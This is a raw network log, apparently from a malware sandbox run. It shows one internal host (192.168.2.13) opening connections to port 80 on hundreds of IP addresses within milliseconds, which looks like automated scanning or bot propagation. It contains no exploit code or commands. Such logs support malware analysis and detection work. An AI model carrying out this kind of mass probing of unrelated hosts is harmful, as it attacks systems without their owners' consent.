Mar 21, 2024 05:21:47.380812883 CET	49456	80	192.168.2.13	95.82.102.206
Mar 21, 2024 05:21:47.380836964 CET	49456	80	192.168.2.13	95.106.88.229
Mar 21, 2024 05:21:47.380851984 CET	49456	80	192.168.2.13	95.43.236.76
Mar 21, 2024 05:21:47.380852938 CET	49456	80	192.168.2.13	95.150.103.158
Mar 21, 2024 05:21:47.380866051 CET	49456	80	192.168.2.13	95.255.150.111
Mar 21, 2024 05:21:47.380873919 CET	49456	80	192.168.2.13	95.207.25.240
Mar 21, 2024 05:21:47.380886078 CET	49456	80	192.168.2.13	95.87.12.146
Mar 21, 2024 05:21:47.380887985 CET	49456	80	192.168.2.13	95.199.33.135
Mar 21, 2024 05:21:47.380901098 CET	49456	80	192.168.2.13	95.191.181.85
Mar 21, 2024 05:21:47.380913019 CET	49456	80	192.168.2.13	95.143.102.134
Mar 21, 2024 05:21:47.380934000 CET	49456	80	192.168.2.13	95.195.74.92
Mar 21, 2024 05:21:47.380934000 CET	49456	80	192.168.2.13	95.230.63.33
Mar 21, 2024 05:21:47.380937099 CET	49456	80	192.168.2.13	95.185.236.64
Mar 21, 2024 05:21:47.380954981 CET	49456	80	192.168.2.13	95.202.85.79
Mar 21, 2024 05:21:47.380955935 CET	49456	80	192.168.2.13	95.129.217.16
Mar 21, 2024 05:21:47.380959034 CET	49456	80	192.168.2.13	95.155.123.241
Mar 21, 2024 05:21:47.380959034 CET	49456	80	192.168.2.13	95.6.190.15
Mar 21, 2024 05:21:47.380969048 CET	49456	80	192.168.2.13	95.91.35.104
Mar 21, 2024 05:21:47.380987883 CET	49456	80	192.168.2.13	95.243.207.215
Mar 21, 2024 05:21:47.380987883 CET	49456	80	192.168.2.13	95.182.155.30
Mar 21, 2024 05:21:47.380997896 CET	49456	80	192.168.2.13	95.179.241.111
Mar 21, 2024 05:21:47.381007910 CET	49456	80	192.168.2.13	95.24.105.102
Mar 21, 2024 05:21:47.381014109 CET	49456	80	192.168.2.13	95.26.4.159
Mar 21, 2024 05:21:47.381015062 CET	49456	80	192.168.2.13	95.15.163.1
Mar 21, 2024 05:21:47.381036997 CET	49456	80	192.168.2.13	95.170.77.16
Mar 21, 2024 05:21:47.381045103 CET	49456	80	192.168.2.13	95.199.5.33
Mar 21, 2024 05:21:47.381056070 CET	49456	80	192.168.2.13	95.170.97.236
Mar 21, 2024 05:21:47.381066084 CET	49456	80	192.168.2.13	95.205.77.98
Mar 21, 2024 05:21:47.381067991 CET	49456	80	192.168.2.13	95.34.47.55
Mar 21, 2024 05:21:47.381082058 CET	49456	80	192.168.2.13	95.19.40.18
Mar 21, 2024 05:21:47.381088018 CET	49456	80	192.168.2.13	95.48.175.127
Mar 21, 2024 05:21:47.381088018 CET	49456	80	192.168.2.13	95.229.116.19
Mar 21, 2024 05:21:47.381093025 CET	49456	80	192.168.2.13	95.237.4.41
Mar 21, 2024 05:21:47.381103992 CET	49456	80	192.168.2.13	95.92.39.204
Mar 21, 2024 05:21:47.381104946 CET	49456	80	192.168.2.13	95.29.33.150
Mar 21, 2024 05:21:47.381118059 CET	49456	80	192.168.2.13	95.247.186.60
Mar 21, 2024 05:21:47.381123066 CET	49456	80	192.168.2.13	95.128.21.14
Mar 21, 2024 05:21:47.381135941 CET	49456	80	192.168.2.13	95.78.201.90
Mar 21, 2024 05:21:47.381136894 CET	49456	80	192.168.2.13	95.145.14.65
Mar 21, 2024 05:21:47.381136894 CET	49456	80	192.168.2.13	95.179.225.229
Mar 21, 2024 05:21:47.381139994 CET	49456	80	192.168.2.13	95.179.92.235
Mar 21, 2024 05:21:47.381154060 CET	49456	80	192.168.2.13	95.76.142.97
Mar 21, 2024 05:21:47.381154060 CET	49456	80	192.168.2.13	95.109.251.20
Mar 21, 2024 05:21:47.381164074 CET	49456	80	192.168.2.13	95.89.174.78
Mar 21, 2024 05:21:47.381165028 CET	49456	80	192.168.2.13	95.244.140.88
Mar 21, 2024 05:21:47.381165028 CET	49456	80	192.168.2.13	95.249.210.59
Mar 21, 2024 05:21:47.381170034 CET	49456	80	192.168.2.13	95.10.221.126
Mar 21, 2024 05:21:47.381187916 CET	49456	80	192.168.2.13	95.84.89.249
Mar 21, 2024 05:21:47.381192923 CET	49456	80	192.168.2.13	95.74.121.207
Mar 21, 2024 05:21:47.381201982 CET	49456	80	192.168.2.13	95.251.49.2
Mar 21, 2024 05:21:47.381212950 CET	49456	80	192.168.2.13	95.222.146.141
Mar 21, 2024 05:21:47.381227970 CET	49456	80	192.168.2.13	95.152.241.242
Mar 21, 2024 05:21:47.381230116 CET	49456	80	192.168.2.13	95.201.135.34
Mar 21, 2024 05:21:47.381242990 CET	49456	80	192.168.2.13	95.10.74.69
Mar 21, 2024 05:21:47.381251097 CET	49456	80	192.168.2.13	95.2.130.74
Mar 21, 2024 05:21:47.381252050 CET	49456	80	192.168.2.13	95.183.121.198
Mar 21, 2024 05:21:47.381289005 CET	49456	80	192.168.2.13	95.63.205.214
Mar 21, 2024 05:21:47.381289005 CET	49456	80	192.168.2.13	95.40.248.210
Mar 21, 2024 05:21:47.381289005 CET	49456	80	192.168.2.13	95.83.69.229
Mar 21, 2024 05:21:47.381299973 CET	49456	80	192.168.2.13	95.247.54.73
Mar 21, 2024 05:21:47.381299973 CET	49456	80	192.168.2.13	95.8.186.138
Mar 21, 2024 05:21:47.381305933 CET	49456	80	192.168.2.13	95.101.122.244
Mar 21, 2024 05:21:47.381311893 CET	49456	80	192.168.2.13	95.178.20.160
Mar 21, 2024 05:21:47.381314039 CET	49456	80	192.168.2.13	95.30.114.144
Mar 21, 2024 05:21:47.381329060 CET	49456	80	192.168.2.13	95.37.115.224
Mar 21, 2024 05:21:47.381335974 CET	49456	80	192.168.2.13	95.30.52.98
Mar 21, 2024 05:21:47.381335974 CET	49456	80	192.168.2.13	95.52.34.83
Mar 21, 2024 05:21:47.381350994 CET	49456	80	192.168.2.13	95.215.109.121
Mar 21, 2024 05:21:47.381356955 CET	49456	80	192.168.2.13	95.242.87.122
Mar 21, 2024 05:21:47.381362915 CET	49456	80	192.168.2.13	95.156.133.204
Mar 21, 2024 05:21:47.381372929 CET	49456	80	192.168.2.13	95.181.74.68
Mar 21, 2024 05:21:47.381392956 CET	49456	80	192.168.2.13	95.68.207.133
Mar 21, 2024 05:21:47.381405115 CET	49456	80	192.168.2.13	95.39.86.149
Mar 21, 2024 05:21:47.381414890 CET	49456	80	192.168.2.13	95.153.180.35
Mar 21, 2024 05:21:47.381417990 CET	49456	80	192.168.2.13	95.129.70.207
Mar 21, 2024 05:21:47.381418943 CET	49456	80	192.168.2.13	95.21.43.4
Mar 21, 2024 05:21:47.381429911 CET	49456	80	192.168.2.13	95.138.37.18
Mar 21, 2024 05:21:47.381441116 CET	49456	80	192.168.2.13	95.199.61.107
Mar 21, 2024 05:21:47.381443977 CET	49456	80	192.168.2.13	95.60.124.205
Mar 21, 2024 05:21:47.381452084 CET	49456	80	192.168.2.13	95.45.151.45
Mar 21, 2024 05:21:47.382837057 CET	49968	80	192.168.2.13	178.115.87.105
Mar 21, 2024 05:21:47.382839918 CET	49968	80	192.168.2.13	200.36.237.184
Mar 21, 2024 05:21:47.382846117 CET	49968	80	192.168.2.13	181.100.156.102
Mar 21, 2024 05:21:47.382862091 CET	49968	80	192.168.2.13	83.132.22.167
Mar 21, 2024 05:21:47.382872105 CET	49968	80	192.168.2.13	178.250.255.236
Mar 21, 2024 05:21:47.382888079 CET	49968	80	192.168.2.13	206.176.232.233
Mar 21, 2024 05:21:47.382894993 CET	49968	80	192.168.2.13	86.95.1.58
Mar 21, 2024 05:21:47.382895947 CET	49968	80	192.168.2.13	80.109.75.29
Mar 21, 2024 05:21:47.382908106 CET	49968	80	192.168.2.13	86.228.157.74
Mar 21, 2024 05:21:47.382910013 CET	49968	80	192.168.2.13	200.176.20.170
Mar 21, 2024 05:21:47.382913113 CET	49968	80	192.168.2.13	83.112.141.44
Mar 21, 2024 05:21:47.382921934 CET	49968	80	192.168.2.13	181.254.109.86
Mar 21, 2024 05:21:47.382926941 CET	49968	80	192.168.2.13	169.137.148.10
Mar 21, 2024 05:21:47.382927895 CET	49968	80	192.168.2.13	206.65.218.200
Mar 21, 2024 05:21:47.382931948 CET	49968	80	192.168.2.13	178.211.69.184
Mar 21, 2024 05:21:47.382937908 CET	49968	80	192.168.2.13	200.128.177.156
Mar 21, 2024 05:21:47.382940054 CET	49968	80	192.168.2.13	200.106.21.164
Mar 21, 2024 05:21:47.382940054 CET	49968	80	192.168.2.13	169.141.97.141
Mar 21, 2024 05:21:47.382941961 CET	49968	80	192.168.2.13	86.120.31.3
Mar 21, 2024 05:21:47.382951021 CET	49968	80	192.168.2.13	200.228.10.126
Mar 21, 2024 05:21:47.382958889 CET	49968	80	192.168.2.13	82.101.160.114
Mar 21, 2024 05:21:47.382961988 CET	49968	80	192.168.2.13	181.20.71.134
Mar 21, 2024 05:21:47.382963896 CET	49968	80	192.168.2.13	80.153.186.70
Mar 21, 2024 05:21:47.382973909 CET	49968	80	192.168.2.13	206.4.56.132
Mar 21, 2024 05:21:47.382977009 CET	49968	80	192.168.2.13	86.37.127.165
Mar 21, 2024 05:21:47.382985115 CET	49968	80	192.168.2.13	169.7.211.59
Mar 21, 2024 05:21:47.382987022 CET	49968	80	192.168.2.13	86.104.46.183
Mar 21, 2024 05:21:47.383001089 CET	49968	80	192.168.2.13	178.237.209.133
Mar 21, 2024 05:21:47.383003950 CET	49968	80	192.168.2.13	181.158.81.240
Mar 21, 2024 05:21:47.383022070 CET	49968	80	192.168.2.13	83.232.2.165
Mar 21, 2024 05:21:47.383028030 CET	49968	80	192.168.2.13	86.214.117.181
Mar 21, 2024 05:21:47.383028030 CET	49968	80	192.168.2.13	206.16.211.54
Mar 21, 2024 05:21:47.383040905 CET	49968	80	192.168.2.13	86.77.211.165
Mar 21, 2024 05:21:47.383050919 CET	49968	80	192.168.2.13	82.19.119.31
Mar 21, 2024 05:21:47.383064032 CET	49968	80	192.168.2.13	181.42.83.189
Mar 21, 2024 05:21:47.383064985 CET	49968	80	192.168.2.13	206.118.60.76
Mar 21, 2024 05:21:47.383095026 CET	49968	80	192.168.2.13	178.97.142.149
Mar 21, 2024 05:21:47.383097887 CET	49968	80	192.168.2.13	200.181.220.116
Mar 21, 2024 05:21:47.383112907 CET	49968	80	192.168.2.13	80.81.97.87
Mar 21, 2024 05:21:47.383112907 CET	49968	80	192.168.2.13	86.202.200.3
Mar 21, 2024 05:21:47.383138895 CET	49968	80	192.168.2.13	206.113.72.177
Mar 21, 2024 05:21:47.383147001 CET	49968	80	192.168.2.13	178.153.96.49
Mar 21, 2024 05:21:47.383162022 CET	49968	80	192.168.2.13	206.86.89.12
Mar 21, 2024 05:21:47.383168936 CET	49968	80	192.168.2.13	213.80.135.130
Mar 21, 2024 05:21:47.383176088 CET	49968	80	192.168.2.13	181.223.130.182
Mar 21, 2024 05:21:47.383178949 CET	49968	80	192.168.2.13	82.35.70.32
Mar 21, 2024 05:21:47.383193016 CET	49968	80	192.168.2.13	213.152.137.216
Mar 21, 2024 05:21:47.383194923 CET	49968	80	192.168.2.13	83.177.128.219
Mar 21, 2024 05:21:47.383212090 CET	49968	80	192.168.2.13	169.47.181.6
Mar 21, 2024 05:21:47.383212090 CET	49968	80	192.168.2.13	178.61.180.202
Mar 21, 2024 05:21:47.383215904 CET	49968	80	192.168.2.13	80.146.69.83
Mar 21, 2024 05:21:47.383225918 CET	49968	80	192.168.2.13	80.109.32.79
Mar 21, 2024 05:21:47.383229971 CET	49968	80	192.168.2.13	169.166.108.30
Mar 21, 2024 05:21:47.383229971 CET	49968	80	192.168.2.13	200.42.158.71
Mar 21, 2024 05:21:47.383238077 CET	49968	80	192.168.2.13	178.100.102.168
Mar 21, 2024 05:21:47.383243084 CET	49968	80	192.168.2.13	86.202.2.205
Mar 21, 2024 05:21:47.383248091 CET	49968	80	192.168.2.13	200.22.102.234
Mar 21, 2024 05:21:47.383249998 CET	49968	80	192.168.2.13	169.126.231.151
Mar 21, 2024 05:21:47.383260012 CET	49968	80	192.168.2.13	200.143.15.212
Mar 21, 2024 05:21:47.383271933 CET	49968	80	192.168.2.13	80.85.133.213
Mar 21, 2024 05:21:47.383279085 CET	49968	80	192.168.2.13	83.134.58.115
Mar 21, 2024 05:21:47.383281946 CET	49968	80	192.168.2.13	83.46.33.114
Mar 21, 2024 05:21:47.383295059 CET	49968	80	192.168.2.13	213.56.108.61
Mar 21, 2024 05:21:47.383320093 CET	49968	80	192.168.2.13	181.160.156.101
Mar 21, 2024 05:21:47.383325100 CET	49968	80	192.168.2.13	200.106.185.34
Mar 21, 2024 05:21:47.383325100 CET	49968	80	192.168.2.13	83.53.64.57
Mar 21, 2024 05:21:47.383327961 CET	49968	80	192.168.2.13	200.248.203.160
Mar 21, 2024 05:21:47.383347034 CET	49968	80	192.168.2.13	206.20.101.52
Mar 21, 2024 05:21:47.383369923 CET	49968	80	192.168.2.13	178.121.154.246
Mar 21, 2024 05:21:47.383369923 CET	49968	80	192.168.2.13	181.190.223.18
Mar 21, 2024 05:21:47.383378029 CET	49968	80	192.168.2.13	213.149.181.193
Mar 21, 2024 05:21:47.383378029 CET	49968	80	192.168.2.13	83.148.215.69
Mar 21, 2024 05:21:47.383385897 CET	49968	80	192.168.2.13	86.119.99.23
Mar 21, 2024 05:21:47.383392096 CET	49968	80	192.168.2.13	83.153.56.98
Mar 21, 2024 05:21:47.383402109 CET	49968	80	192.168.2.13	181.14.216.19
Mar 21, 2024 05:21:47.383407116 CET	49968	80	192.168.2.13	213.231.95.152
Mar 21, 2024 05:21:47.383409023 CET	49968	80	192.168.2.13	213.174.201.182
Mar 21, 2024 05:21:47.383414984 CET	49968	80	192.168.2.13	213.8.51.141
Mar 21, 2024 05:21:47.383424044 CET	49968	80	192.168.2.13	178.187.6.242
Mar 21, 2024 05:21:47.383430958 CET	49968	80	192.168.2.13	169.39.157.227
Mar 21, 2024 05:21:47.383430958 CET	49968	80	192.168.2.13	181.247.128.13
Mar 21, 2024 05:21:47.383430958 CET	49968	80	192.168.2.13	82.63.234.59
Mar 21, 2024 05:21:47.383455038 CET	49968	80	192.168.2.13	200.225.52.57
Mar 21, 2024 05:21:47.383455038 CET	49968	80	192.168.2.13	178.155.49.125
Mar 21, 2024 05:21:47.383455038 CET	49968	80	192.168.2.13	213.50.226.208
Mar 21, 2024 05:21:47.383455038 CET	49968	80	192.168.2.13	80.177.191.37
Mar 21, 2024 05:21:47.383460045 CET	49968	80	192.168.2.13	213.243.158.220
Mar 21, 2024 05:21:47.383476973 CET	49968	80	192.168.2.13	206.192.107.165
Mar 21, 2024 05:21:47.383481979 CET	49968	80	192.168.2.13	169.84.38.240
Mar 21, 2024 05:21:47.383490086 CET	49968	80	192.168.2.13	200.9.170.204
Mar 21, 2024 05:21:47.383506060 CET	49968	80	192.168.2.13	206.63.89.249
Mar 21, 2024 05:21:47.383506060 CET	49968	80	192.168.2.13	82.127.66.2
Mar 21, 2024 05:21:47.383506060 CET	49968	80	192.168.2.13	82.143.112.72
Mar 21, 2024 05:21:47.383506060 CET	49968	80	192.168.2.13	86.171.150.1
Mar 21, 2024 05:21:47.383516073 CET	49968	80	192.168.2.13	200.124.22.106
Mar 21, 2024 05:21:47.383517981 CET	49968	80	192.168.2.13	86.199.175.74
Mar 21, 2024 05:21:47.383534908 CET	49968	80	192.168.2.13	213.87.87.183
Mar 21, 2024 05:21:47.383536100 CET	49968	80	192.168.2.13	200.132.137.215
Mar 21, 2024 05:21:47.383538008 CET	49968	80	192.168.2.13	206.203.63.137
Mar 21, 2024 05:21:47.383552074 CET	49968	80	192.168.2.13	169.22.89.71
Mar 21, 2024 05:21:47.383552074 CET	49968	80	192.168.2.13	213.246.224.191
Mar 21, 2024 05:21:47.383555889 CET	49968	80	192.168.2.13	82.202.17.185
Mar 21, 2024 05:21:47.383559942 CET	49968	80	192.168.2.13	83.229.8.26
Mar 21, 2024 05:21:47.383577108 CET	49968	80	192.168.2.13	82.175.197.116
Mar 21, 2024 05:21:47.383577108 CET	49968	80	192.168.2.13	181.89.40.221
Mar 21, 2024 05:21:47.383580923 CET	49968	80	192.168.2.13	80.149.242.177
Mar 21, 2024 05:21:47.383585930 CET	49968	80	192.168.2.13	86.30.48.167
Mar 21, 2024 05:21:47.383599997 CET	49968	80	192.168.2.13	181.94.201.234
Mar 21, 2024 05:21:47.383599997 CET	49968	80	192.168.2.13	86.207.41.182
Mar 21, 2024 05:21:47.383601904 CET	49968	80	192.168.2.13	181.184.205.22
Mar 21, 2024 05:21:47.383609056 CET	49968	80	192.168.2.13	80.157.197.55
Mar 21, 2024 05:21:47.383609056 CET	49968	80	192.168.2.13	86.227.195.190
Mar 21, 2024 05:21:47.383609056 CET	49968	80	192.168.2.13	200.34.212.157
Mar 21, 2024 05:21:47.383611917 CET	49968	80	192.168.2.13	169.148.180.73
Mar 21, 2024 05:21:47.383625031 CET	49968	80	192.168.2.13	213.242.36.21
Mar 21, 2024 05:21:47.383630037 CET	49968	80	192.168.2.13	80.198.9.199
Mar 21, 2024 05:21:47.383630991 CET	49968	80	192.168.2.13	206.24.9.27
Mar 21, 2024 05:21:47.383631945 CET	49968	80	192.168.2.13	200.175.82.149
Mar 21, 2024 05:21:47.383631945 CET	49968	80	192.168.2.13	83.233.128.199
Mar 21, 2024 05:21:47.383631945 CET	49968	80	192.168.2.13	206.78.160.160
Mar 21, 2024 05:21:47.383634090 CET	49968	80	192.168.2.13	169.246.226.165
Mar 21, 2024 05:21:47.383642912 CET	49968	80	192.168.2.13	206.19.221.190
Mar 21, 2024 05:21:47.383651972 CET	49968	80	192.168.2.13	80.59.231.255
Mar 21, 2024 05:21:47.383661032 CET	49968	80	192.168.2.13	181.248.24.115
Mar 21, 2024 05:21:47.383682966 CET	49968	80	192.168.2.13	80.169.71.75
Mar 21, 2024 05:21:47.383685112 CET	49968	80	192.168.2.13	80.160.215.15
Mar 21, 2024 05:21:47.383692980 CET	49968	80	192.168.2.13	83.253.184.209
Mar 21, 2024 05:21:47.383703947 CET	49968	80	192.168.2.13	206.155.118.12
Mar 21, 2024 05:21:47.383717060 CET	49968	80	192.168.2.13	200.139.38.50
Mar 21, 2024 05:21:47.383718967 CET	49968	80	192.168.2.13	181.107.153.8
Mar 21, 2024 05:21:47.383722067 CET	49968	80	192.168.2.13	181.199.101.23
Mar 21, 2024 05:21:47.383734941 CET	49968	80	192.168.2.13	200.59.117.90
Mar 21, 2024 05:21:47.383745909 CET	49968	80	192.168.2.13	83.48.218.24
Mar 21, 2024 05:21:47.383749008 CET	49968	80	192.168.2.13	200.111.84.47
Mar 21, 2024 05:21:47.383749962 CET	49968	80	192.168.2.13	178.215.233.231
Mar 21, 2024 05:21:47.383764029 CET	49968	80	192.168.2.13	181.75.102.163
Mar 21, 2024 05:21:47.383764029 CET	49968	80	192.168.2.13	206.57.58.87
Mar 21, 2024 05:21:47.383768082 CET	49968	80	192.168.2.13	181.205.63.234
Mar 21, 2024 05:21:47.383769035 CET	49968	80	192.168.2.13	178.48.34.99
Mar 21, 2024 05:21:47.383769035 CET	49968	80	192.168.2.13	213.255.22.70
Mar 21, 2024 05:21:47.383788109 CET	49968	80	192.168.2.13	80.181.70.170
Mar 21, 2024 05:21:47.383790970 CET	49968	80	192.168.2.13	86.107.16.130
Mar 21, 2024 05:21:47.383795023 CET	49968	80	192.168.2.13	82.203.15.29
Mar 21, 2024 05:21:47.383806944 CET	49968	80	192.168.2.13	169.144.214.222
Mar 21, 2024 05:21:47.383809090 CET	49968	80	192.168.2.13	206.21.82.150
Mar 21, 2024 05:21:47.383809090 CET	49968	80	192.168.2.13	206.135.64.65
Mar 21, 2024 05:21:47.383812904 CET	49968	80	192.168.2.13	178.219.166.76
Mar 21, 2024 05:21:47.383812904 CET	49968	80	192.168.2.13	82.234.162.168
Mar 21, 2024 05:21:47.383829117 CET	49968	80	192.168.2.13	83.39.151.28
Mar 21, 2024 05:21:47.383836031 CET	49968	80	192.168.2.13	82.220.32.243
Mar 21, 2024 05:21:47.383838892 CET	49968	80	192.168.2.13	169.49.131.252
Mar 21, 2024 05:21:47.383843899 CET	49968	80	192.168.2.13	206.112.36.132
Mar 21, 2024 05:21:47.383850098 CET	49968	80	192.168.2.13	200.26.188.24
Mar 21, 2024 05:21:47.383855104 CET	49968	80	192.168.2.13	178.233.231.230
Mar 21, 2024 05:21:47.383865118 CET	49968	80	192.168.2.13	200.138.2.163
Mar 21, 2024 05:21:47.383867979 CET	49968	80	192.168.2.13	82.197.177.108
Mar 21, 2024 05:21:47.383874893 CET	49968	80	192.168.2.13	80.143.7.234
Mar 21, 2024 05:21:47.383884907 CET	49968	80	192.168.2.13	80.57.107.193
Mar 21, 2024 05:21:47.383893967 CET	49968	80	192.168.2.13	83.183.41.246
Mar 21, 2024 05:21:47.383893967 CET	49968	80	192.168.2.13	83.155.30.89
Mar 21, 2024 05:21:47.383898973 CET	49968	80	192.168.2.13	206.2.97.10
Mar 21, 2024 05:21:47.383908987 CET	49968	80	192.168.2.13	82.56.7.140
Mar 21, 2024 05:21:47.383924007 CET	49968	80	192.168.2.13	213.2.78.173
Mar 21, 2024 05:21:47.383924961 CET	49968	80	192.168.2.13	82.22.179.187
Mar 21, 2024 05:21:47.383939028 CET	49968	80	192.168.2.13	178.181.212.6
Mar 21, 2024 05:21:47.383939028 CET	49968	80	192.168.2.13	213.12.60.91
Mar 21, 2024 05:21:47.383939981 CET	49968	80	192.168.2.13	169.199.45.40
Mar 21, 2024 05:21:47.383939981 CET	49968	80	192.168.2.13	213.116.193.33
Mar 21, 2024 05:21:47.383941889 CET	49968	80	192.168.2.13	169.104.176.241
Mar 21, 2024 05:21:47.383953094 CET	49968	80	192.168.2.13	80.46.153.29
Mar 21, 2024 05:21:47.383954048 CET	49968	80	192.168.2.13	213.95.241.34
Mar 21, 2024 05:21:47.383954048 CET	49968	80	192.168.2.13	213.22.177.230
Mar 21, 2024 05:21:47.383970022 CET	49968	80	192.168.2.13	181.195.235.190
Mar 21, 2024 05:21:47.383970022 CET	49968	80	192.168.2.13	200.220.160.103
Mar 21, 2024 05:21:47.383984089 CET	49968	80	192.168.2.13	178.9.97.164
Mar 21, 2024 05:21:47.383984089 CET	49968	80	192.168.2.13	181.84.153.26
Mar 21, 2024 05:21:47.383985043 CET	49968	80	192.168.2.13	80.83.42.249
Mar 21, 2024 05:21:47.383991003 CET	49968	80	192.168.2.13	83.90.160.129
Mar 21, 2024 05:21:47.384011030 CET	49968	80	192.168.2.13	206.9.166.237
Mar 21, 2024 05:21:47.384011030 CET	49968	80	192.168.2.13	200.144.223.33
Mar 21, 2024 05:21:47.384015083 CET	49968	80	192.168.2.13	86.191.58.161
Mar 21, 2024 05:21:47.384027958 CET	49968	80	192.168.2.13	80.248.98.183
Mar 21, 2024 05:21:47.384031057 CET	49968	80	192.168.2.13	181.190.200.158
Mar 21, 2024 05:21:47.384042978 CET	49968	80	192.168.2.13	82.52.97.188
Mar 21, 2024 05:21:47.384057999 CET	49968	80	192.168.2.13	83.33.97.58
Mar 21, 2024 05:21:47.384071112 CET	49968	80	192.168.2.13	181.214.181.42
Mar 21, 2024 05:21:47.384082079 CET	49968	80	192.168.2.13	213.8.208.82
Mar 21, 2024 05:21:47.384087086 CET	49968	80	192.168.2.13	82.243.2.152
Mar 21, 2024 05:21:47.384113073 CET	49968	80	192.168.2.13	80.5.229.236
Mar 21, 2024 05:21:47.384121895 CET	49968	80	192.168.2.13	83.68.35.81
Mar 21, 2024 05:21:47.384121895 CET	49968	80	192.168.2.13	206.1.73.46
Mar 21, 2024 05:21:47.384136915 CET	49968	80	192.168.2.13	181.36.223.106
Mar 21, 2024 05:21:47.384140968 CET	49968	80	192.168.2.13	83.115.138.75
Mar 21, 2024 05:21:47.384147882 CET	49968	80	192.168.2.13	178.86.137.39
Mar 21, 2024 05:21:47.384160042 CET	49968	80	192.168.2.13	82.50.140.59
Mar 21, 2024 05:21:47.384167910 CET	49968	80	192.168.2.13	82.62.120.221
Mar 21, 2024 05:21:47.384169102 CET	49968	80	192.168.2.13	178.79.131.82
Mar 21, 2024 05:21:47.384174109 CET	49968	80	192.168.2.13	80.10.117.190
Mar 21, 2024 05:21:47.384182930 CET	49968	80	192.168.2.13	82.44.103.11
Mar 21, 2024 05:21:47.384186029 CET	49968	80	192.168.2.13	200.16.24.157
Mar 21, 2024 05:21:47.384191036 CET	49968	80	192.168.2.13	206.85.223.87
Mar 21, 2024 05:21:47.384201050 CET	49968	80	192.168.2.13	178.5.37.205
Mar 21, 2024 05:21:47.384203911 CET	49968	80	192.168.2.13	213.170.29.57
Mar 21, 2024 05:21:47.384203911 CET	49968	80	192.168.2.13	178.107.86.112
Mar 21, 2024 05:21:47.384206057 CET	49968	80	192.168.2.13	178.51.133.150
Mar 21, 2024 05:21:47.384224892 CET	49968	80	192.168.2.13	82.29.113.40
Mar 21, 2024 05:21:47.384226084 CET	49968	80	192.168.2.13	213.210.245.199
Mar 21, 2024 05:21:47.384228945 CET	49968	80	192.168.2.13	82.14.4.123
Mar 21, 2024 05:21:47.384229898 CET	49968	80	192.168.2.13	200.77.150.201
Mar 21, 2024 05:21:47.384237051 CET	49968	80	192.168.2.13	169.33.143.227
Mar 21, 2024 05:21:47.384243965 CET	49968	80	192.168.2.13	82.153.237.127
Mar 21, 2024 05:21:47.384255886 CET	49968	80	192.168.2.13	82.97.160.119
Mar 21, 2024 05:21:47.384265900 CET	49968	80	192.168.2.13	206.64.56.237
Mar 21, 2024 05:21:47.384270906 CET	49968	80	192.168.2.13	181.78.26.172
Mar 21, 2024 05:21:47.384283066 CET	49968	80	192.168.2.13	181.50.16.40
Mar 21, 2024 05:21:47.384288073 CET	49968	80	192.168.2.13	200.103.77.167
Mar 21, 2024 05:21:47.384294987 CET	49968	80	192.168.2.13	213.227.75.26
Mar 21, 2024 05:21:47.384320974 CET	49968	80	192.168.2.13	178.63.59.227
Mar 21, 2024 05:21:47.384332895 CET	49968	80	192.168.2.13	169.133.81.241
Mar 21, 2024 05:21:47.384344101 CET	49968	80	192.168.2.13	178.218.21.0
Mar 21, 2024 05:21:47.384344101 CET	49968	80	192.168.2.13	86.219.117.235
Mar 21, 2024 05:21:47.384345055 CET	49968	80	192.168.2.13	169.83.20.32
Mar 21, 2024 05:21:47.384345055 CET	49968	80	192.168.2.13	206.113.70.50
Mar 21, 2024 05:21:47.384361982 CET	49968	80	192.168.2.13	83.9.10.44
Mar 21, 2024 05:21:47.384372950 CET	49968	80	192.168.2.13	213.195.102.127
Mar 21, 2024 05:21:47.384382010 CET	49968	80	192.168.2.13	169.25.131.50
Mar 21, 2024 05:21:47.384392023 CET	49968	80	192.168.2.13	83.216.7.185
Mar 21, 2024 05:21:47.384392023 CET	49968	80	192.168.2.13	206.68.27.90
Mar 21, 2024 05:21:47.384392023 CET	49968	80	192.168.2.13	213.209.25.113
Mar 21, 2024 05:21:47.384402037 CET	49968	80	192.168.2.13	200.223.67.157
Mar 21, 2024 05:21:47.384413958 CET	49968	80	192.168.2.13	206.60.204.47
Mar 21, 2024 05:21:47.384413958 CET	49968	80	192.168.2.13	86.239.203.68
Mar 21, 2024 05:21:47.384413958 CET	49968	80	192.168.2.13	213.138.105.162
Mar 21, 2024 05:21:47.384417057 CET	49968	80	192.168.2.13	86.73.254.189
Mar 21, 2024 05:21:47.384428024 CET	49968	80	192.168.2.13	181.166.12.200
Mar 21, 2024 05:21:47.384444952 CET	49968	80	192.168.2.13	181.76.98.123
Mar 21, 2024 05:21:47.384449005 CET	49968	80	192.168.2.13	83.223.229.150
Mar 21, 2024 05:21:47.384460926 CET	49968	80	192.168.2.13	213.106.40.232
Mar 21, 2024 05:21:47.384460926 CET	49968	80	192.168.2.13	82.217.54.203
Mar 21, 2024 05:21:47.384475946 CET	49968	80	192.168.2.13	86.24.235.121
Mar 21, 2024 05:21:47.384486914 CET	49968	80	192.168.2.13	80.25.221.205
Mar 21, 2024 05:21:47.384495974 CET	49968	80	192.168.2.13	82.155.11.21
Mar 21, 2024 05:21:47.384499073 CET	49968	80	192.168.2.13	206.21.201.17
Mar 21, 2024 05:21:47.384500027 CET	49968	80	192.168.2.13	178.88.144.245
Mar 21, 2024 05:21:47.384506941 CET	49968	80	192.168.2.13	200.250.2.181
Mar 21, 2024 05:21:47.384531021 CET	49968	80	192.168.2.13	86.229.62.246
Mar 21, 2024 05:21:47.384532928 CET	49968	80	192.168.2.13	82.18.187.54
Mar 21, 2024 05:21:47.384541035 CET	49968	80	192.168.2.13	169.141.213.185
Mar 21, 2024 05:21:47.384552002 CET	49968	80	192.168.2.13	169.192.227.25
Mar 21, 2024 05:21:47.384553909 CET	49968	80	192.168.2.13	80.183.113.246
Mar 21, 2024 05:21:47.384562016 CET	49968	80	192.168.2.13	83.48.179.213
Mar 21, 2024 05:21:47.384566069 CET	49968	80	192.168.2.13	80.36.247.102
Mar 21, 2024 05:21:47.384568930 CET	49968	80	192.168.2.13	80.40.145.160
Mar 21, 2024 05:21:47.384582996 CET	49968	80	192.168.2.13	169.29.201.102
Mar 21, 2024 05:21:47.384583950 CET	49968	80	192.168.2.13	82.97.45.145
Mar 21, 2024 05:21:47.384583950 CET	49968	80	192.168.2.13	83.8.87.86
Mar 21, 2024 05:21:47.384598970 CET	49968	80	192.168.2.13	169.235.237.18
Mar 21, 2024 05:21:47.384602070 CET	49968	80	192.168.2.13	213.120.110.99
Mar 21, 2024 05:21:47.384610891 CET	49968	80	192.168.2.13	86.169.201.78
Mar 21, 2024 05:21:47.384610891 CET	49968	80	192.168.2.13	200.181.125.90
